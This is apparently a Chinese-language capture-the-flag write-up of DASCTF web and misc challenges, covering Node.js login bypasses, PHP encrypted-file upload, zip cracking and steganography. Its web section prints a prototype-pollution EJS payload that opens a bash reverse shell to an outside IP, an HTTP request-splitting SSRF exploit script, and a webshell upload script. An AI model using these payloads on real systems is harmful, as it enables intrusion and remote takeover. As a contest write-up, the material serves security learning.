web
扭转乾坤
在实际产品场景中常见存在多种中间件的情况,这时如果存在某种拦截,可以利用框架或者中间件对于RFC标准中实现差异进行绕过。注意查看80端口服务
想先上传试试
Content-Type不能是 multipart/form-data
这随便删了个字符就给了flag
看师傅们都大写绕过,加空格绕过
Node Magical Login
一个简单的用nodejs写的登录站点(貌似暗藏玄机)
给了源码
function LoginController(req,res) {
try {
const username = req.body.username
const password = req.body.password
if (username !== "admin" || password !== Math.random().toString()) {
res.status(401).type("text/html").send("Login Failed")
} else {
res.cookie("user",SECRET_COOKIE)
res.redirect("/flag1")
}
} catch (__) {}
}
/flag1的逻辑是要登录admin用户,但是密码是随机数肯定不能正常登录
function Flag1Controller(req,res){
try {
if(req.cookies.user === SECRET_COOKIE){
res.setHeader("This_Is_The_Flag1",flag1.toString().trim())
res.setHeader("This_Is_The_Flag2",flag2.toString().trim())
res.status(200).type("text/html").send("Login success. Welcome,admin!")
}
if(req.cookies.user === "admin") {
res.setHeader("This_Is_The_Flag1", flag1.toString().trim())
res.status(200).type("text/html").send("You Got One Part Of Flag! Try To Get Another Part of Flag!")
}else{
res.status(401).type("text/html").send("Unauthorized")
}
}catch (__) {}
}
往后看发现输出flag1 要满足cookies.user === "admin"
构造user=admin
function CheckController(req,res) {
let checkcode = req.body.checkcode?req.body.checkcode:1234;
console.log(req.body)
if(checkcode.length === 16){
try{
checkcode = checkcode.toLowerCase()
if(checkcode !== "aGr5AtSp55dRacer"){
res.status(403).json({"msg":"Invalid Checkcode1:" + checkcode})
}
}catch (__) {}
res.status(200).type("text/html").json({"msg":"You Got Another Part Of Flag: " + flag2.toString().trim()})
}else{
res.status(403).type("text/html").json({"msg":"Invalid Checkcode2:" + checkcode})
}
}
想要输出flag2,要满足checkcode
在经过toLowerCase()
转小写后 还是等于aGr5AtSp55dRacer
app.post("/getflag2",(req,res)=> {
controller.CheckController(req,res)
})
/getflag2是调用的路由
现在目的就是要绕过toLowerCase()
并且保持长度为16,
这个方法是把字符串转换为小写,
看学长的思路,用json形式传入数组可以绕过
{"checkcode":["aGr5AtSp55dRacer",0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]}
real_ez_node
此题类似[GYCTF2020]Node Game-nodejs
源码拿到 index.js
先看/copy路由
router.post('/copy',(req,res)=>{
res.setHeader('Content-type','text/html;charset=utf-8')
var ip = req.connection.remoteAddress;
console.log(ip);
var obj = {
msg: '',
}
if (!ip.includes('127.0.0.1')) {
obj.msg="only for admin"
res.send(JSON.stringify(obj));
return
}
let user = {};
for (let index in req.body) {
if(!index.includes("__proto__")){
safeobj.expand(user, index, req.body[index])
}
}
res.render('index');
})
要求地址127.0.0.1访问 (req.connection.remoteAddress不能通过请求头来伪造的。可以考虑用SSRF来绕过)
然后定义了user
对象,并且禁掉了__proto__
,可以使用constructor.prototype
绕过,因为constructor.prototype也可以操作原型链 。
然后是safeobj.expand()
调用了user
对象,考虑safe-obj
原型链污染,网上搜到CVE-2021-25928
测试一下poc:
var safeObj = require("safe-obj");
var obj = {};
console.log("Before : " + {}.polluted);
safeObj. expand (obj,'__proto__.polluted','Yes! Its Polluted');
console.log("After : " + {}.polluted);
发现确实可以
然后题目源码app.js里也有说使用ejs模板
那么可以原型链污染+ejs RCE
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4444 0>&1\"');var __tmp2"}}
constructor.prototype
替代__proto__
为
{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/xxx/4444 0>&1\\"');var __tmp2"}
现在看/curl路由
router.get('/curl', function(req, res) {
var q = req.query.q;
var resp = "";
if (q) {
var url = 'http://localhost:3000/?q=' + q
try {
http.get(url,(res1)=>{
const { statusCode } = res1;
const contentType = res1.headers['content-type'];
let error;
// 任何 2xx 状态码都表示成功响应,但这里只检查 200。
if (statusCode !== 200) {
error = new Error('Request Failed.\n' +
`Status Code: ${statusCode}`);
}
if (error) {
console.error(error.message);
// 消费响应数据以释放内存
res1.resume();
return;
}
res1.setEncoding('utf8');
let rawData = '';
res1.on('data', (chunk) => { rawData += chunk;
res.end('request success') });
res1.on('end', () => {
try {
const parsedData = JSON.parse(rawData);
res.end(parsedData+'');
} catch (e) {
res.end(e.message+'');
}
});
}).on('error', (e) => {
res.end(`Got error: ${e.message}`);
})
res.end('ok');
} catch (error) {
res.end(error+'');
}
} else {
res.send("search param 'q' missing!");
}
})
http.get()请求了http://localhost:3000/
并传递参数q 存在
现在如何满足/copy路由下的ip为127.0.0.1呢? 利用CRLF+SSRF
参考此文https://xz.aliyun.com/t/9707#toc-11
Unicode 字符损坏造成的 HTTP 拆分攻击
exp:
payload = ''' HTTP/1.1
POST /copy HTTP/1.1
Host: 127.0.0.1:3000
Content-Length: 180
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Content-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,ru;q=0.7,ja;q=0.6
Connection: close
{"constructor.prototype.outputFunctionName": "_tmp1;global.process.mainModule.require('child_process').exec('bash -c \\"bash -i >& /dev/tcp/47.100.196.3/4444 0>&1\\"');var __tmp2"}
GET / HTTP/1.1
test:'''.replace("\n","\r\n")
def payload_encode(raw):
ret = u""
for i in raw:
ret += chr(0x0100+ord(i))
return ret
payload = payload_encode(payload)
print(payload)
#拿到payload:ĠňŔŔŐįıĮıčĊčĊŐŏœŔĠįţůŰŹĠňŔŔŐįıĮıčĊňůųŴĺĠıIJķĮİĮİĮıĺijİİİčĊŃůŮŴťŮŴĭŌťŮŧŴŨĺĠıĸİčĊŃšţŨťĭŃůŮŴŲůŬĺĠŭšŸĭšŧťĽİčĊŕŰŧŲšŤťĭʼnŮųťţŵŲťĭŒťűŵťųŴųĺĠıčĊŃůŮŴťŮŴĭŔŹŰťĺĠšŰŰŬũţšŴũůŮįŪųůŮčĊŕųťŲĭŁŧťŮŴĺĠōůźũŬŬšįĵĮİĠĨŗũŮŤůŷųĠŎŔĠıİĮİĻĠŗũŮĶĴĻĠŸĶĴĩĠŁŰŰŬťŗťŢŋũŴįĵijķĮijĶĠĨŋňŔōŌĬĠŬũūťĠŇťţūůĩĠŃŨŲůŭťįıİĹĮİĮİĮİĠœšŦšŲũįĵijķĮijĶčĊŁţţťŰŴĺĠŴťŸŴįŨŴŭŬĬšŰŰŬũţšŴũůŮįŸŨŴŭŬīŸŭŬĬšŰŰŬũţšŴũůŮįŸŭŬĻűĽİĮĹĬũŭšŧťįšŶũŦĬũŭšŧťįŷťŢŰĬũŭšŧťįšŰŮŧĬĪįĪĻűĽİĮĸĬšŰŰŬũţšŴũůŮįųũŧŮťŤĭťŸţŨšŮŧťĻŶĽŢijĻűĽİĮĹčĊŁţţťŰŴĭŅŮţůŤũŮŧĺĠŧźũŰĬĠŤťŦŬšŴťčĊŁţţťŰŴĭŌšŮŧŵšŧťĺĠźŨĭŃŎĬźŨĻűĽİĮĹĬťŮĻűĽİĮĸĬŲŵĻűĽİĮķĬŪšĻűĽİĮĶčĊŃůŮŮťţŴũůŮĺĠţŬůųťčĊčĊŻĢţůŮųŴŲŵţŴůŲĮŰŲůŴůŴŹŰťĮůŵŴŰŵŴņŵŮţŴũůŮŎšŭťĢĺĠĢşŴŭŰıĻŧŬůŢšŬĮŰŲůţťųųĮŭšũŮōůŤŵŬťĮŲťűŵũŲťĨħţŨũŬŤşŰŲůţťųųħĩĮťŸťţĨħŢšųŨĠĭţĠŜĢŢšųŨĠĭũĠľĦĠįŤťŶįŴţŰįĴķĮıİİĮıĹĶĮijįĴĴĴĴĠİľĦıŜĢħĩĻŶšŲĠşşŴŭŰIJĢŽčĊčĊŇŅŔĠįĠňŔŔŐįıĮıčĊŴťųŴĺ
payload进行url编码传入q参数
unusual php
<?php
if($_GET["a"]=="upload"){
move_uploaded_file($_FILES['file']["tmp_name"], "upload/".$_FILES['file']["name"]);
}elseif ($_GET["a"]=="read") {
echo file_get_contents($_GET["file"]);
}elseif ($_GET["a"]=="version") {
phpinfo();
}
尝试读index.php,是乱码,是对php源码进行了加密
还可以看phpInfo()
到这里就不知道如何走了,看师傅们是去在phpinfo里找到 zend_test.so
总之php文件被加密了,寻找加密猜测应该是有依赖,思路可以是读 /proc/self/maps
读取 /proc/self/maps 查看当前进程的内存映射关系,发现加载了一个名为zend_test的扩展
拿到文件路径/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so
然后读取,通过php:filter 进行base64加密一下 防止丢字符
/?a=read&file=php://filter/convert.base64-encode/resource=/usr/local/lib/php/extensions/no-debug-non-zts-20190902/zend_test.so
保存出来用IDA分析 (注意保存完整)
有个 rce_set_key函数
jump 到引用它的地方
F5反编译
逆向分析出来存在 RC4 密钥 abcsdfadfjiweur
这样我们可以加密php文件,进行上传,这样后台应该会顺利解析执行
可以用CyberChef来加密
加密一个shell
为了防止字符短缺,还是base64一下,上传文件时候base64解码一下
import base64
import requests
url = 'http://80.endpoint-e3b2218dc1d446008a7cacc77c3d9bee.ins.cloud.dasctf.com:81/?a=upload'
shell = '473xeG4d3kJANayE56+fzrJLaDo2vtMx'
files = {'file': ("shell.php", base64.b64decode(shell))}
response = requests.post(url, files=files)
print(response.text)
上传shell成功执行
复现环境是有回显且直接cat到了flag
不涉及提权,原题可以用sudo 提权
misc
签到
jpg文件,FF D9就是文件尾了
后面的一堆字符是有问题的,还有2023 和 flag的字样
编码的问题 ,16进制转中文字符,cyberchef直接转
mp3
mp3 foremost 出png
png 继续 zsteg
提取出zip
是个真加密
mp3预览的图片就是那个png
像素转01后提取出了个zip,但是与上面lsb提取的是一样的。
from PIL import Image
image = Image.open('hb.png')
res = ''
for y in range(53):
for x in range(64):
pixel = image.getpixel((x,y))
if pixel == 255:
res+='1'
else:
res+='0'
print(res)
压缩包密码大概率就是MP3Stego提取的东西
MP3Stego 是空密码(比赛时候没试出来。。)
这个工具还一定要进这个MP3Stego目录下,使用里面的Decode.exe
空密码跑出来了 ,里面就是压缩包密码 8750d5109208213f
rot47 jsfuck
take_the_zip_easy
爆破无果
根据文件名,猜测dasflow.zip里面也是dasflow.pacpng
用bkcrack明文攻击 ,1.txt 里面是 dasflow.pcapng ,加上zip默认头504B0304
./bkcrack.exe -C zipeasy.zip -c dasflow.zip -p 1.txt -o 30 -x 0 504B0304 >1.log
跑出keys 2b7d78f3 0ebcabad a069728c
./bkcrack.exe -C zipeasy.zip -c dasflow.zip -k 2b7d78f3 0ebcabad a069728c -d dasflow.zip
成功解压,拿到流量包
在第6个流里看到
哥斯拉流量加密,air123是密码
解密脚本
<?php
function encode($D,$K){
for($i=0;$i<strlen($D);$i++){
$c = $K[$i+1&15];
$D[$i] = $D[$i]^$c;
}
return $D;
}
$pass='air123';
$payloadName='payload';
$key='d8ea7326e6ec5916';
echo gzdecode(encode(base64_decode('xxx'),$key));
往下翻,很多加密的流量
流37看到了上传了一个flag.zip
提取出来,直接foremost也是可以
上传zip之前可能就是生成zip的流量,看流36 也是有加密流量
用上面的解密脚本跑这段加密流量 ,先url解码一下
J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3
<?php
function encode($D, $K)
{
for ($i = 0; $i < strlen($D); $i++) {
$c = $K[$i + 1 & 15];
$D[$i] = $D[$i] ^ $c;
}
return $D;
}
$pass = 'air123';
$payloadName = 'payload';
$key = 'd8ea7326e6ec5916';
echo gzdecode(encode(base64_decode('J+5pNzMyNmU2mij7dMD/qHMAa1dTUh6rZrUuY2l7eDVot058H+AZShmyrB3w/OdLFa2oeH/jYdeYr09l6fxhLPMsLeAwg8MkGmC+Nbz1+kYvogF0EFH1p/KFEzIcNBVfDaa946G+ynGJob9hH1+WlZFwyP79y4/cvxxKNVw8xP1OZWE3'), $key));
跑出来生成zip的命令如下
cmdLineP sh -c "cd "/var/www/html/upload/";zip -o flag.zip /flag -P airDAS1231qaSW@" 2>&1methodName execCommand
所以zip密码是airDAS1231qaSW@
机你太美
坤坤的手机里面,隐藏着什么秘密呢
npbk是夜神模拟器的备份文件,
用7zip 可以打开 备份文件 拿到镜像文件
(赛题附件当时打开是img,后来换附件也没注意。。)
附件更新后7zip打开就拿到vmdk镜像文件了
手机大师没打开
用取证大师打开
有很多加密的zip,里面的文件是flag
图片呢就拿出这两张比较特殊的jpg和png
png在 alpha2通道有东西
提取出来,黑白像素转01二进制,注意要竖着跑 ,像素太多,我将结果保存到文件里
from PIL import Image
image = Image.open('1.png')
res = ''
for y in range(1532):
for x in range(961):
pixel = image.getpixel((y,x))
# print(pixel)
if pixel[2] == 255:
res+='1'
else:
res+='0'
f = open('res.txt','w')
f.write(res)
然后找到这一段有0的字符串,注意开头结尾是0还是1
e01544a9333ef62a3aa27357eb52ea8a
拿去解压50.zip ,因为这个与其他文件长度不一样
flag还是加密的
回到那个jpg文件,exif跑了一下
有个信息 是 XOR DASCTF2022 , 异或同样也能用cyber